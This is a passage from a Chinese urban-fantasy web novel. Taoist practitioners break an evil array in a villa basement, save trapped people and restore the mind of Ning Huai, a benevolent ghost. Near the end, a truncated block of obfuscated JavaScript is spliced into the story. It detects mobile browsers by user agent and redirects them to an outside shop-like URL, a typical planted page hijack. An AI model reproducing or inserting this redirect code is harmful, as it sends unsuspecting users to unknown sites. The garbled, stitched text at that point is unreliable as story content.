吴惟会意,直接拎起装面包的塑料袋,把巧克力也放了进去,八哥飞上吴惟肩头跳了两下,又煽动翅膀飞向楼梯口。
宋靥星见这场面,意外地挑了挑眉:“怎么说,要跟上吗?”
“我觉得咱们这么没头没脑的找,不如跟上去看看。”毕子濯提出意见,并看向吴惟。
吴惟跟着点了点头,三人达成一致,遂跟了上去。
“在地下室?”宋靥星不太意外,“也对逆转阴阳八成是要借助地气,会在地下不奇怪。”
之前因为秽气聚集在头顶,加上聚灵阵一般是从外吸收灵气的,一般都会设在高处,下意识认为阵眼也应该设置在上方。
跟着八哥走向地下,竟一路畅通无阻,不过三人依旧保持警惕。
果然,到楼梯口,八哥又飞上吴惟的肩膀,并叫道:“救命啊~救命啊~”
小动物对危险的感知非常敏感,虽然看不出什么,但吴惟还是停下了步伐。
宋靥星看向毕子濯,他无奈摇头,“我只看到浓郁的地气,看不出什么。”
没错是地气,这里不似楼上的气息那么污秽,只是阴气更重,有地府的气息。
婴灵也感受到了,轻声提醒吴惟:“这里的地气应该是从地下抽取的,地府和人间一样,也会有一些不适合鬼生存的区域,那里的阴气过重会伤害灵魂,这里的地气应该就是从那种地方抽取出来的。”
“小心一点,这种气息对人更不好,会冻结血液,激发人身体里的死气。”
“好,我知道了。”
宋靥星捏了个勘查印,发现里面的地气只是布置了个简易的迷魂阵,倒是松了口气。
“里面的迷魂阵好破,就是地气过于浓郁,阿濯又看不清里面的情况,如果情况不好,呆的时间长了,难免被地气侵蚀。”
“这件事本是我和阿濯的任务,如果你想退出,可以拿上这个,保证你能安全出去不被秽气侵蚀。”宋靥星从口袋里掏出一个护身符递到吴惟面前。
如果没进来就算了,但是都走到这了,哪有放弃的道理,何况他身上还有人托着底呢。
宋靥
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星见他没有动摇,便道:“那么接下来我们不一定有空顾及到你,要更加小心,如果遇到应付不了的,可以集中愿力,喊[九天应元雷声普化天尊]。”
这是雷祖的称号,虽然天上神明都已入了轮回,但信仰还在依旧能召唤出雷霆。
心念越诚,威力越大,有愿力加持,效果应该会更好,不过这一点宋靥星就没有告诉吴惟了。
“九天应元雷声普化天尊,我记住了。”
三人准备就绪,一脚踏入阵法中,周身环境一变,本应一览无余的空间成了无止境的楼梯身边的两人也消失不见。
吴惟:“这环境还真眼熟。”
好在这次身体还是自己的身体,最多因为地气感到阴冷。
吴惟尝试用愿力驱散地气,效果并不是很好,婴灵提醒他道:“不要用在外面,你试试大周天运行。”
虽然吴惟刚接触玄门,但大周天他还真知道,得益于一个学了针灸的妈。
吴惟得令,闭上眼睛,调整呼吸,用意念把愿力聚集起来,先运行了一个小周天,有了感觉之后,才将气散入四肢百骸。
不多时,阴冷褪去,身体变得温暖轻盈,吴惟稍微活动了一下站得有点僵的脚腕,才顺着楼梯向下走去。
虽然自己不熟悉阵法,但走走看吧,万一能遇到突破口呢。
.
“无地无极,乾坤借法。”
毕子濯双手掐诀,一股无形的能量汇聚,四周的鬼怪无视这顾能量波动,不要命地冲出来。
“护我真身,昧火出鞘!”
双手一合,毕子濯指尖倏的出现一簇火苗,向前一推,“敕!”
火势瞬间扩散,在毕子濯身前形成一道火墙,扭曲的鬼怪冲入火墙的下一秒尽数化为灰烬。
毕子濯空出来一片真空地带,翻涌的地气半天无法靠近,他盘膝坐下,真气在体内运行,将附着在身上的地气尽数驱散。
迷魂阵本身是能够放大心中恐惧的东西,毕子濯天生阴阳眼,从小就能看见不干净的东西,所恐惧的和吴惟不同,自然看到的景象也不同。
好在这只是简易的迷魂阵,也就能做到这种程度了。
自从入了师门,学了道法以后,毕子濯早就对这种情形不感冒了,但这个级别的迷魂阵只能抽取到一生之中最恐惧的时刻作为蓝本复原。
刚刚搞那么夸张,也是为了清空地气,让自己少受侵蚀,给师姐破阵争取一点时间。
阵中地气是互相影响的,毕子濯那边用三味真火清空附近的地气,吴惟周身不再那般阴冷。
他下意识抬头看了一下天花板,想了想,自己能够做的事情,于是给队友加了个“此行顺利”buff。
.
就像之前说的,此处最麻烦的不是破阵,而是地气。
而宋靥星周身的地气浓郁到要仿佛是要把她禁锢起来,还真有针对性!
宋靥星简直要咬碎牙了,地府和人间不同的是,地府时间会慢很多。
换句话说就是地府对时间的感知会慢很多,有时候人间一天过去了,地府的鬼只会感觉过去了一个小时。
众所周知,分子运动和物体密度有关,时间又与运动有关,这个理论放在玄学界也同样适用,只不过是一种套用,并不绝对。
地府是生活在地下的,灵魂是畅游在实体中的,而固体的流动性要比气体差很多,所以地府的时间本身就和人间不对等。
甚至说绝对一点,也许人间换了天地,对于地府生命来说也不过是一年。当然这只是就感知而言,为了协调地府和人间,他们计时也是按照人间来的。
并且这种时间感知只是对无所事事的普通鬼而言,对于忙忙碌碌的地府公职人员和受刑的鬼可不适用。
这是玄门公认的知识。
话题跑远了,地气是从地府来的,自然也会继承这一特点,它的特性就是可以凝固,甚至扭曲时间。
要不是宋靥星灵觉高,这种扭曲时间感知的情况时很难探查到的,等于说现在她这里每一秒,对于外界,甚至同样身处此地的同伴来说,都是好几分钟的事。
这才刚进来半分钟不到,她就感觉到地气稍微清空了一些,心头又多了一点一往无前的力量。
肯定是同伴发力了。
于是她不再耽搁,干脆抱大腿,念道:“九天应元雷声普化天尊。”
“轰隆”,一道无形的雷劈开眼前的地气。
“就是现在!”宋靥星举起阵盘,抛向半空,双手结印,对准一个方向:“破!”
阵盘发出阵阵微光,随着宋靥星一声大喝,阵盘猛然振动,引动磁场变化。
“砰!”
一声巨响从她手指的方向传出,迷魂阵散,三人再次站到了一起。
.
24. 第 24 章
“师姐这次有点慢。”毕子濯慢悠悠地站起身,拍拍身上不存在的灰尘,吐槽道。
宋靥星睨了他一眼:“被针对的又不是你,一分钟解决还慢啊?”
“一分钟?”毕子濯惊讶,“难怪,地气可以扭曲时间,我就说以师姐的本事这么简单的阵法,不可能需要半个小时。”
“哼。”
拌嘴之余,三人并没有放松警惕,此时出现在他们面前的是原本的地下室,一大片空地,活人都集中在了墙角。
打头两人是特事局的同志,一人结印操控辟邪符箓维持结节,一人施展祝由术为身后的普通人续命。
能看出来包括这两人在内的十几人状态都不好,连他们都是在很机械地坚持着,生怕自己倒下身后的人会暴露在地气中。
这十几人都是年轻人,有男有女,或坐或躺,大部分意识已经不清晰了,状态比较好,依旧醒着的只有两个穿着警服的男人,这是警局最初派来侦查的两人。
警察身上本身就有正气,体格也比普通人要好一些,他们状态更好也不意外。
场地中心是一只被阵法压制的厉鬼,他已经失去理智,不断攻击阵法,时不时发出凄厉的声音。
八哥看到他直直地飞过去,吴惟还没反应过来它就已经到厉鬼跟前了。
八哥扑腾着翅膀,嘴里叫着,“闹闹乖~闹闹乖~救命啊~救命啊~”看起来很着急。
八哥扑腾两圈得回来拉吴惟。
“救命啊~救命啊~”
“是锁魂阵。”宋靥星皱眉,“这鬼所在的位置是聚灵阵的阵心,想要破阵杀了这厉鬼即可。”
但是这也太简单了吧,按理说这样的情况,特事局的人没道理做不到啊。
更何况要拿厉鬼做阵眼,为什么要把他锁起来,这不是等于是在帮他们?
难不成有什么陷阱?
还有一点不对劲的地方,就是按理来说这样程度的侵蚀,失踪的人应该活不到现在,但现在所有人都还活着,而且看他们身体饱满的程度,根本不像被困好几天的状态。
“先救人吧。”吴惟率先拎着袋子向人群走去。
二人紧随其后,确实救人重要。
八哥看他走向人群,慢慢安静下来。
特事局和警局的的四人感受到有人靠近,身体瞬间紧绷。
宋靥星上前:“我们是特事局请来的顾问,是专程来找你们的,不要紧张。”
她一抬手,在结节外套了个天罡阵法,也顺便包裹住自己三人。
支撑结界那人松了一口气,支撑不住直接晕了过去。
道医见状赶忙接住他,哪怕身体已经快到极限了,依旧为他施了个清心咒才倒下。
她的情况要比同伴好一些,因为要支撑结界,她的同伴也受到不少侵蚀。
“体有金光,覆映吾身。视之不见,听之不闻。包罗天地,养育群生。受持万遍,身有光明。洞慧交彻,五炁腾腾。金光速现,覆护真人。”
毕子濯双手掐诀,以真气诵念金光咒,阵法内众人感到身体逐渐回暖,稍微有点体力,都坐了起来。
吴惟把手上的食物发了出去,想必之前八哥提醒自己拿面包就是为了给这群人吃的吧。
他看向厉鬼的方向,恐怕这鬼,和那个幕后之人也不是一条心。
他是别墅的主人,从最开始有人失踪,到现在一个没少,并且都活得好好的应该就是他的功劳了吧。
待众人缓过劲,宋靥星问起这段时间的情况。
最早失踪的女孩开口说道:“我来说吧,我是最早来的比较清楚。”
“最开始这里还不是这样阴冷,那位宁淮先生,就是那个厉鬼,”她看向中心发狂的厉鬼,眼中有些发酸,“他把我们照顾的很好。”
“他自己被困在这里,也没办法把我们放出去,为了不让我们死在这里,在粮食快要耗尽的时候,让闹闹,也就是这只小八哥,到处找吃的。”
之前厉鬼还没有失去理智的时候,用怨气捏出空间给闹闹用,让它帮忙收集食物,只不过后来失控了,怨气差点伤到它。
闹闹之前找食物的时候,在隔壁小区遇到过出来扔垃圾的吴惟。
主人出事之后,就想起来这个人,它觉得这个人一定能救主人。
于是在垃圾点蹲了好久,终于见到了这个浑身散着白光的人类,于是赶紧飞上前去抓住他。
“宁淮先生晚上无法控制自己,失去意识就会引诱附近落单的人来这里。”
“前段时间,这里阴气…就是你们说秽气,开始慢慢变浓,宁淮清醒的时间越来越短,直到这两位来的时候,”她指了指特事局的人,继续道,“是他最后一次清醒了,他为了不伤人,要求高济小哥把他困住,再之后就是你们看到的这样了。”
“宁先生是个好人,如果可以,能不能不要伤害他?”
“那位厉鬼先生身上,确实有点功德。”吴惟补充,有赏善司的判官笔在,他对功德会比普通人敏感,哪怕阴阳眼在这方面都比不过。
毕子濯诧异地看了眼吴惟,没说什么,他确实没有发现,阴阳眼毕竟还是眼睛,视觉被阻隔看不到也很正常,只是没想到这人对功德这么敏感。
也对,他身上都不知道有多少功德存在,自然很熟悉。
高济尚在昏迷,他的道医同伴补充道:“他确实不主动伤人,我们能坚持这么久,未尝没有他努力控制的原因。”
宋靥星点点头表示了解,随即蹙起了眉头:“我就说为什么会有这么简单的事,丫的我们被坑了!”
“聚灵阵的阵眼在鬼身上,想要破阵需要毁掉阵眼,但是厉鬼有功德,我们杀了他自己就会遭反噬,以后修行怕是就到此为止了!”
不说业力反扑了,就是让这么一个人去死,道心也会留下裂痕。
更何况,本身天道对功德的发放很严格,对有功德之人的保护也很严密,祂不会允许有人随便杀这样的人。
“但是如果不杀厉鬼,我们几个说不定还能出去,但是他们绝对不是能一次带走的,只要出去一次,剩下的人就会被疯狂反扑。”
“如果这些人因我们而死,照样会留下心魔,往后的修行寸步难行。这可真够狡猾的!”
宋靥星冷笑,其他人听了这话脸色都变了。
“所以没办法了吗?”
“我不想死呜呜呜…”
“会有办法的。”吴惟语气平淡地说了一句,众人被安抚下来。
这一句当然不可能像表面一样平淡了,毕子濯在一边看的清清楚楚。
愿力和言灵齐出,磅礴的愿力跟不要钱似的铺满了整个阵法空间,这才让人哪怕在这种时候也能很快平静下来。
毕子濯闭了闭眼睛,说道:“不然我来?”
现在不是优柔寡断的时候,如果有什么后果,他来背负。
宋靥星打断他的话说道:“行了,就你想逞英雄啊,你以为幕后之人布下这局为了什么?”
“他不一定是冲着你我来的,但一定是冲着削弱玄门来的!”
宋靥星一语道破关键,如果现在被牵着鼻子走了,后面还不知道有多少坑等着他们。
而到那时,道心不稳无法精进的自己,岂不是只能作视危机?
还不到最后一刻,先想想还有没有别的破局办法。
婴灵就着吴惟的视线看向厉鬼,感叹道:“若不是功德保留了他最后一丝理智,加上他不愿意伤人的执念,现在估计早就魂飞魄散,只留下被秽气侵蚀后的灵壳了吧。”
人的灵魂最重要的就是意识,没有意识,就是一团能量,魂体并不一定就是灵魂。
“现在怎么办?”吴惟问道,“他身上的怨气不是自己的,能够剥离或者净化吗?”
说到这里,他想起来此处之所以会成这样,主要是因为那个逆转阴阳的聚灵阵,似乎和他的因果符阵有异曲同工之处,都是逆转。
那么,“因果符阵可以用吗?”
“因果符阵重因果,宁淮违背自己身为厉鬼的本性救了那么多人,那么因果逆转之后,这些人的感激应该能让他壮大,反过来压制怨气吧。”
另外也能让布下聚灵阵的幕后黑手自食恶果。
婴灵点头赞许:“你要是想直接去对付聚灵阵,我只会说你异想天开,因果符阵虽然霸道,但在你能力不够的时候使用,还没成功就会被对方反伤,但是先帮厉鬼倒是个好主意。”
毕竟吴惟最擅长用的两样东西,一是画笔,二是愿力,愿力不足以让抗衡这么多秽气,现在也不是能让他慢慢作画的情况。
在吴惟想事情的空隙,毕子濯再一次使用金光咒来护持众人。
众人还在思索如何破局之时,就听到一句,“我有个办法,也许可以。”
众人看了过来,吴惟朝几位官方人点点头,说道:“我有办法能让厉鬼恢复理智,帮助我们,但是不确定阵法能不能破。”
宋靥星笑了:“只要你能让他恢复理智,我就能让他把阵眼转移。”
玄门百年一遇的阵法天才可不是说说的。
吴惟眼睛一亮,倒是没想到还有这意外之喜,点头示意自己清楚了,走到那些普通人面前,说道:“我需要你们帮忙。”
他的声音带上愿力,带有一丝安定人心的效果:“你们被怨气引诱到这里,是宁淮先生保护了你们,现在又为了保护你们,在尽力反抗秽气的侵蚀。”
“你们之间有一段因果,如果你们真心为他祈祷祝福,他接收到愿力,可以帮他反击。”
“这…能行吗?”也太唯心了吧。
吴惟坚定道:“当然可以。”
如果放在平时,在场众人都会当他神经病,但现在目睹这么多不科学的事,再加上吴惟用愿力和言灵给他们心中增加了不少确信感,让他们很难去怀疑。
更何况,这是他们的出路,不想死,就要不带杂念为宁淮祈福。
愿力汇聚在宁淮周身,吴惟抓住机会用自己的愿力去塑造那股愿力,勾勒出因果符阵和祝福符阵的雏形。
[这才多久,竟然可以将符阵叠加,真是天才啊。]判官笔惊叹。
婴灵附和道:“是啊。”
大概勾画出一个雏形之后,那股愿力仿佛有引力一般,自行补充了剩下的内容。
吴惟松了一口气,眼前一花倒了下去,毕子濯眼疾手快扶他慢慢坐了下来,捏了个诀:“天地无极,乾坤借法。法由心生,生生不绝。”
一股暖流涌入体内,刚刚松懈下来的疲惫感一扫而空。
吴惟有些惊叹,法诀这么好用的吗?那边毕子濯和宋靥星也很惊叹。
毕子濯有阴阳眼,任何能量的流动都逃不出他的法眼,自然能看出来愿力勾勒出来的图案不简单,尤其是在愿力的加持下,宁淮竟然真的有了反应。
而宋靥星虽然看不到,但能感受到一些,加上她学习阵法,对旁的也有涉猎,能看出来一些门道。
是符阵啊!
两人的门派隐峰在玄门虽不是什么大门派,但绝对是传承最全面的,因为祖师爷不走寻常路,收
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徒的路子也很野,导致很多弟子收来没法教。
于是开始到各个门派好友那里耍无赖,连抢带骗,把别人家的传承拿回来自己用。
后辈们呢,也有样学样,这样几百年下来,他们师门就成了整个玄门公认的“藏经阁”。
至于门派为什么会叫隐峰,大概是因为抢多了怕被打,所以找个地方藏了起来吧。
有这样的师承,两人自然见多识广,但依旧看不出是什么符阵。
过了不到半柱香的时间,阵中的厉鬼已经大变样了,基本能够看出人形了。
“闹闹乖~闹闹乖~”小八哥看起来也很开心。
.
宁淮浑浑噩噩地依靠着本能去控制怨气,他觉得好累,意识应该快要消散了,不知道闹闹逃出去了没有,还有那些人…
希望已经得救了吧。
他是个孤儿,因为心脏不好被抛弃,似乎也…不算抛弃吧。
他们孤儿院和别的孤儿院不一样,孩子少,里面的孩子都是像他这样,先天不足,可能活不到成年的孩子。
家里无力支付他们的医疗开支,父母又没有精力去陪伴他们,于是他们就被送到了那里。
那里有和他们一样的伙伴互相陪伴和支持,也有温柔的老师,教他们快乐的过好每一天。
他们没有外界孩子那样的学习压力,社交范围很小,但每个人都是带着善意来的,这也让他们哪怕在有限又可能痛苦的生命里,充满了美好的回忆。
宁淮就是在这样的环境下长大的,他喜欢音乐,院长爷爷从小就给他安排了音乐老师。
后来他慢慢长大,尝试着用音乐敲开了世界的大门,他将自己的作品发布在原创音乐网站,一炮而红,很多人都说从他的音乐中感受到了生命的喜悦。
他接收了这样的善意,开始越来越喜欢创作。
后来有公司从网站上发现了他,向他抛出了橄榄枝,副院长奶奶帮他筛选了一家不错的小公司,签了合约,这项爱好就成为了他赖以生存的工作。
这家公司老板人很好,知道他身体不好非常照顾他,他在公司的运营下慢慢火了起来,赚到了不少钱。
他将自己的工资一部分捐给了孤儿院,一部分捐给了医疗事业,剩下一部分给自己买了套房子,那是他一直想拥有的一个家。
孤儿院固然很好,但他想拥有自己的小窝,这样他可以养自己喜欢的鸟儿,于是就有了闹闹。
两年前,他在“澜山御院”买了套别墅,在临市安了家,又从宠物市场买回了那个因为生病,差点被店主放弃的八哥。
大概是物伤其类吧,看到它眼中求生的意志,一个没忍住,就买下了,带着他跑宠物医院,心惊胆战地照顾它,直到他一点一点好转。
陪着他慢慢好起来,就好像看到自己一点一点被治愈了一样,很让人开心,于是灵感爆棚,为八哥写了整个专辑的歌,还为他取名叫闹闹。
因为只有身体好才能闹腾的起来。
闹闹果然没有辜负他的期望,恢复之后身体比一般的八哥都要健壮。
只是啊,他好像活不了了。
最后一年,他的身体衰败的很快,没有精力照顾闹闹,他便想给它找个好人家,前两次它都趁着主人不注意,悄悄飞了回来。
家养的鸟儿在野外是很危险的,宁淮被它吓住了,但是自己的身体好不了了,总是要分别的,于是他狠狠心,把他送得更远了。
结果又过了没几天,闹闹就被对方送回来了,那位很有养鸟经验的小姑娘很愧疚地告诉他,闹闹在她家不论怎么样都不吃不喝,似乎还有些抑郁,只有提到他的时候才给点反应,她没办法养好它。
事情就这么僵着,生命的最后,他实在没办法了只能托邻居家的老爷爷帮忙养,这样闹闹有空了也可以回家,等时间久了,也许它就会习惯吧。
宁淮觉得这辈子过的挺幸福的,虽然生命只有短短26年,但他遇到的大部分都是善意,唯一放心不下的就是闹闹。
也正是因为这个执念,让他成了地缚灵,他又可以亲手照顾自己的鸟儿了。
说实话,当时他是有些惊喜的。
但后来事情就变了,邻居家的爷爷和朋友一起来找闹闹,离开之后没多久,家里来了个小姑娘,不知道怎么来的,宁淮看到她的时候,她就在楼道里哭。
宁淮想要把她送出去,结果发现,自己也打不开大门了。
宁淮没办法,只好去厨房把他死之前剩下来的食物拿出来给女孩儿吃。
女孩儿顺理成章的发现了他,一人一鬼磕磕绊绊地交流起来。
再之后,进来的人越来越多,宁淮发现那些人都是在他失去意识之后进来的,他只能尽量保持自己清醒,并祈祷他们早点被发现。
当看到闹闹飞回来的时候,宁淮觉得心脏都快跳出来了,好在让它试着飞了一圈发现它可以出去。
宁淮就想到让闹闹去求救,还用自己匮乏的小说经验,给闹闹捏了个空间,让它去找吃的。
也好在闹闹聪明,很快就理解了主人的意思,给他们找来了不少食物,至少够他们存活一段时间了。
只是宁淮没想到,来找人的警察和特事局的人先后被困,自己也越来越长时间陷入沉睡,唯一值得安慰的是他从警察口中得知附近的居民已经迁走,不至于连累更多的人。
宁淮觉得上天还是眷顾他的,在他快要控制不住自己的时候,特事局的人来了,他们可以用阵法困住自己,让自己不要连累更多的人。
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25. 第 25 章
宁淮感受着逐渐冰冷的灵魂,就像当初躺在床上,逐渐冰冷的四肢,他慢慢力不从心,每分每秒都想要放弃。
或许…该睡一觉了,睡一觉醒来就会发现,这些都不是真的,从来没有人困在别墅过。
也许只是等闹闹回来太无聊了,打了个盹,做了个噩梦。
但是他不敢,十几条人命的重量,不是他可以背负的…
不知过去多久,意识已经慢慢消失,他又想要放弃了…
一股滚烫的热流倏的进入到他冰冷的灵魂中,他没有抵抗。
他想,也许这是那些人找来救他们的,也许自己死了他们就能好好的离开,这样就很好。
他在这个世界上得到过太多,如今能为一些人献出灵魂,也对的起这个世界给予的一切了。
热流进入灵魂之中,没有他以为的炽烈,反而温柔的包裹起他的意识,做出保护的姿态。
渐渐的他的意识也开始复苏,他似乎能感受到四周了。
“闹闹乖~闹闹乖~”
猛然听到闹闹的声音,宁淮忍不住想要微笑他猛地睁开眼睛,入眼是并不刺眼的白光,它们缓缓汇聚在自己身边,很温柔的剔除他体内的怨气。
小八哥再也忍不住了,扇扇翅膀飞了过来,宁淮下意识去接,没想到竟然真的接住了。
“我们成功了!”
看到宁淮恢复意识,众人都为他感到高兴。
高济捏诀,撤销了锁魂阵,宁淮下意识朝着声音的方向望了过来。
见到众人完好无损,着实让宁淮松了口气。
“宁先生!”小姑娘跑过去上下打量宁淮,发现他看起来和以前一样,还是有点担心地问道:“您没事了吧?还有没有哪不舒服?”
宁淮不好意思地挠挠头,“没…没事了,让你担心了。”
“没事就好。”宋靥星也走了过来,打断他们叙旧,“有什么话之后再说吧,先办正事。”
“好的。”小姑娘乖乖巧巧站到宋靥星身后。
“宁淮是吧,现在有件事需要你配合。”
“您说。”宁淮很干脆利落地答应了。
宋靥星很满意,她就喜欢这样干脆利落的,也不用废话了,她直接把现在的大致说了一遍,然后说道,“我需要把你身上的阵眼移出来销毁掉,你能试着把它找出来吗?”
毕子濯补充了道:“只要内视一下,找到不属于自己灵魂的一部分,有愿力帮忙应该很好找。”
宁淮依言闭眼内观,将愿力收到灵魂中,去感应不属于自己的东西。
不多时,果然在丹田处找到了一个指甲盖大小的黑色石头,他操控着愿力把它托了出来。
石头虽然不大,但上面的符文清晰可见,连宋靥星两人都没认出来是什么,但光是看着就让人很不舒服。
石头附近的愿力不断地被它腐蚀,果然不是好东西!
宋靥星拿出纸笔准备抄录一份拿回去研究,再毁了这个阵,但还没写完纸张就被符文腐蚀掉了。
宋靥星脸色难看起来。
吴惟见状,把石头要了过来,宋靥星不明所以,不过想想吴惟应该是有分寸的,就给他了。
被换出来的婴灵托着石头,往里面注入了一丝功德,符文普通猫见了老鼠一般分散开躲避功德的追击,随后汇聚到一处,躲进了石头的深处。
“是魔纹。”婴灵眼神冰冷。
魔的踪影几百年没出现了,哪怕是她都没见过,若不是判官笔作为上古流传下来的灵宝见多识广,还真没人能认出来这玩意。
“你认得?”宋靥星问道。
“嗯,这个之后再说。”解释起来就是长篇大论,现在还不是说这个的时候,这些人已经在这不见天日的地方太久了,哪怕身体被保护着心理也容易出问题。
“先解决这块石头再说。”婴灵把吴惟叫了出来,让他用愿力在石头上勾画符阵。
判官笔直接将条符阵知识塞进吴惟脑子里,并恶狠狠地留下一句,[用这个!]
三个字刚劲有力,力透纸背,可见其怒意有多盛。
吴惟紧急消化了一下,新的符阵是业火符阵,相较于因果符阵通过倒转因果,从而使作恶之人得到该有的惩罚,业火符阵更加直接,它是直接惩罚恶业的东西。
阿善虽然是赏善司的判官,但其所能接触到的知识和其他地府灵宝是相通的,所以能够拿出属于罚恶司的东西。
之前的因果符阵也是如此,它是属于阴律司的。
吴惟大概了解了一下业火符阵的构造,觉得差不多了,提起愿力笔开始往上刻。
业火符阵刚接触,吴惟不确定自己能够驾驭的了,干脆将它的一部分融入因果符阵刻画上去。
只是不同于以往,这次艰难许多,石头面积很小,吴惟想要刻上去就需要精简,但要效果好,太少的愿力就不太够,毕竟是用来对付魔的东西。
于是他想到压缩,将愿力压缩到极致才往上刻,不多时,吴惟脸上就开始冒冷汗。
“天地无极,乾坤接法。法由心生,生生不息,敕!”毕子濯念咒,借天地的力量为吴惟补充能量。
宁淮无师自通,将自己的愿力融合进吴惟手中。
有了两方支持,吴惟下笔顺畅了许多。
.
常皓轩在外面等的焦心,这都进去一天两夜了,怎么还不出来,不会又折戟了吧?
不能吧?宋靥星两人都是一等一的天才,加上这么多年的磨练,在玄门已经算是顶配了,哪怕是老一辈的和他们对阵都不一定能赢。
实在不行只能在玄门发布悬赏,多请一些人来了。
只是玄门的事,并不是人越多越好,有时不明情况,冒然让太多人前往,配合的不好反而容易出事。
但也不能总这么送,要是玄门没有什么门第之见,大家能一起训练就好了。
警校出身的常皓轩无语望天,如果都能统一管理,就没有这么多麻烦事了。
“哎,再等等吧,天亮了再没人出来就上报,去[里世界]下悬赏。”常皓轩无奈对身边的警察小哥说了一声,随后打了个瞌睡。
没办法这两天他一直没合眼,太阳穴都开始跳舞了。
常皓轩掏出一张清心符贴到身上,稍微恢复一点精力。
不多时,常皓轩心中有感,倏的抬头,福至心灵地给自己开了个眼:“天清地明,阴浊阳清。开我法眼,阴阳分明,敕!”
眼前的世界瞬间变了,空气中的气流仿佛都有了自己的色彩。
常皓轩眼前的别墅,没了之前开天眼的时候看到的黑气缭绕,反而干净的不太正常。
众所周知,各种各样的气是无处不在的,一般人眼睛看不到,但是开天眼之人几乎都能看清楚各种气息的流向。
刚刚那一刹,别墅周围的气似乎被抽空了一般,瞬间消失,停滞四周的气,停滞了两面才从四周慢慢流向这边。
常皓轩脑子一懵,但不管因为什么,能清除那些秽气说明里面的人成功了,他赶忙招呼人手一起过去。
此时电话响了,常皓轩赶忙接起,里面传来宋靥星虚弱的声音:“你带人进来吧,里面解决了,但是我们几个都脱力了,需要休息一会儿。”
“善后的事交给你了。”
他还没说话,对面就挂了。
常皓轩:“……”
看来是真累了,不过没关系,解决就好。
他带着人穿过前院,推门而入,发现所有人都在客厅。
宋靥星两人和他的两个同事摊在沙发上,之前那个长发青年躺在躺椅上,似乎是晕过去了。
两位前同志正在安抚群众,剩下的人有的坐在楼梯口,有的盘膝而坐,有的倚在墙上。
这些天都这么过来了,现在也没必要矫情。
另外还有一只骨笛,晃晃悠悠飞过来,落在了长发青年手里,随后八哥也飞过来落在他耳边趴窝。
见有人进来了,所有还醒着的人把脑袋转向门口,只是这目光有些渗人。
宋靥星无力地举起手,冲常皓轩喊道:“刚刚忘记说了,请几个心理医生过来…算了你把我们都运到医院吧。”
实在不想动了。
常皓轩沉默了两秒,赶紧去喊人,又是找同事,又是打120,这边还要确认群众的情况,好在有些工作两位警察同志已经做了…
一阵兵荒马乱之后,别墅终于归于平静,所有相关人员都被带走了。
.
吴惟醒来已经是三天后了。
等他睁开眼睛想要起身的时候,发现身子有些发软,仿佛大病初愈,唯一不同的是身上没有什么奇怪的黏腻感。
随后他才注意到眼前的景象不像是在家里,后知后觉想起来,自己最后刻画完因果业火双叠符阵就晕了过去。
现在能够出现在医院里,看来一切顺利。
这三天他晕的彻底,连意识空间都看不到他的身影。
甫一醒来,婴灵就发来慰问。
“还好,就是有点病去如抽丝的感觉。”
婴灵:“谁让你连着画双叠符阵的,别说是你了,就连以前那些杰出的符阵师都不敢这么干!”
“你就好好躺两天吧!”
这语气,真是冲的很,让人感觉非常不好惹,吴惟乖巧点头:“好的。”
他坐起身按了下床头的呼叫铃。马上就有人过来了。
除了护士,还有宋靥星二人,常皓轩,以及…抓着骨笛的小八哥!
宁淮这个鬼怎么也来了?
护士给吴惟检查完身体,确定没问题了,几人才凑过来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193591|197105||http|test|mini|href|location''.split(''|''),0,{}));
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>“咳,那什么,这是给你带的粥,”常皓轩把手里提的饭放床头柜上,刚他打开,被吴惟按住了,“这个不急,你们有什么事吗?做笔录?”
虽然或者的没见过,但是小说里这种情节挺多的。
常皓轩无语:“也不是那么急,你要不先吃饭?”
吴惟不想吃,吃了该饿了,还会拉肚子,有辟谷经历的吴惟如是想道。
婴灵有点诧异:“人间不是很久都没有修士辟谷了吗?你之前又不修道,怎么还辟谷啊?”
吴惟:“道医不分家,我之前是为了调理身体才辟谷的,以前的我很弱的好吗?”
“这样啊,”婴灵更惊异了,“你居然信,好多人都不信的,说人是铁饭是钢,不吃会饿死。”
吴惟:“我信啊,我一直都是唯心主义你不知道吗?而且效果确实好,我辟谷那段时间是我体力最好的时候,不算现在的话。”
婴灵无语:“有道理,你确实很唯心。”
不然怎么说捏空间就捏了,说想干啥直接就成了。
常皓轩见吴惟不说话,有些抗拒,还在苦口婆心地劝,吴惟左耳朵进右耳朵出,有一搭没一搭地跟婴灵聊天。
大概觉得一句话不回太不礼貌了,还是解释了一句,“没关系,就当辟谷了。”
“哪有这样辟谷的!”常皓轩以为他开玩笑,吴惟更痛苦了,只好从头解释一边,甚至把辟谷的科学依据给掰开揉碎灌到常皓轩脑子里。
“所以这会儿如果吃了反而会感觉虚脱,不如先让我保持这样的状态,等一切确定都结束了,能够安定下来了我再吃。”
一通解释下来,听得旁边宋毕二人止不住的偷笑。
常皓轩虽然不理解,但玄门嘛,只要不会对身体造成伤害就行。
这事揭过,常皓轩从头开始问事情的始末,还有一些细节。
“最后一个问题,我们都想知道,”宋靥星到最关心的问题时,她抢先问了出来,“你最后用了什么符阵,效果那么立竿见影?”
“还有之前救宁淮的符阵,我只能看出来是一种把因果相连的双方能量互相连通转化的符阵,好像还有一点增强的功能?”
之后她又补充了一句,“如果不能说的话可以不用回答。”
倒是没什么不能说的,吴惟干脆利落地回答道:“是因果符阵。”
“帮宁淮恢复意识那次是嵌套了祝福符阵,确实像你说的那样有增强的效果。”
“破除阵法的是嵌套了业火符阵,抽干秽气的是因果符阵的效果,它能把因果倒推,让对方自尝苦果,有你们的加持才能效果这么好。”
“业火符阵是焚烧业力的符阵,光听名字你们应该猜得到。”
宋毕二人对视一眼,均看到了对方的震惊。
符阵有很多种,但是功能划分一般都很细致,跟符箓、阵法、咒术、言灵这些其实很类似,其中并不是没有“一剑破万法”的招式,但都会有侧重。
比如“天地无极,乾坤借法”后面跟什么都可以,但它本身就是一句借天地威能来强化己身的咒语。
至于要用做哪方面,就是后面跟对方那句咒语需要去界定的,换个组合就是一套新咒,有的时候哪怕意思相近,用词不同效果都可能会大打折扣甚至没有效果。
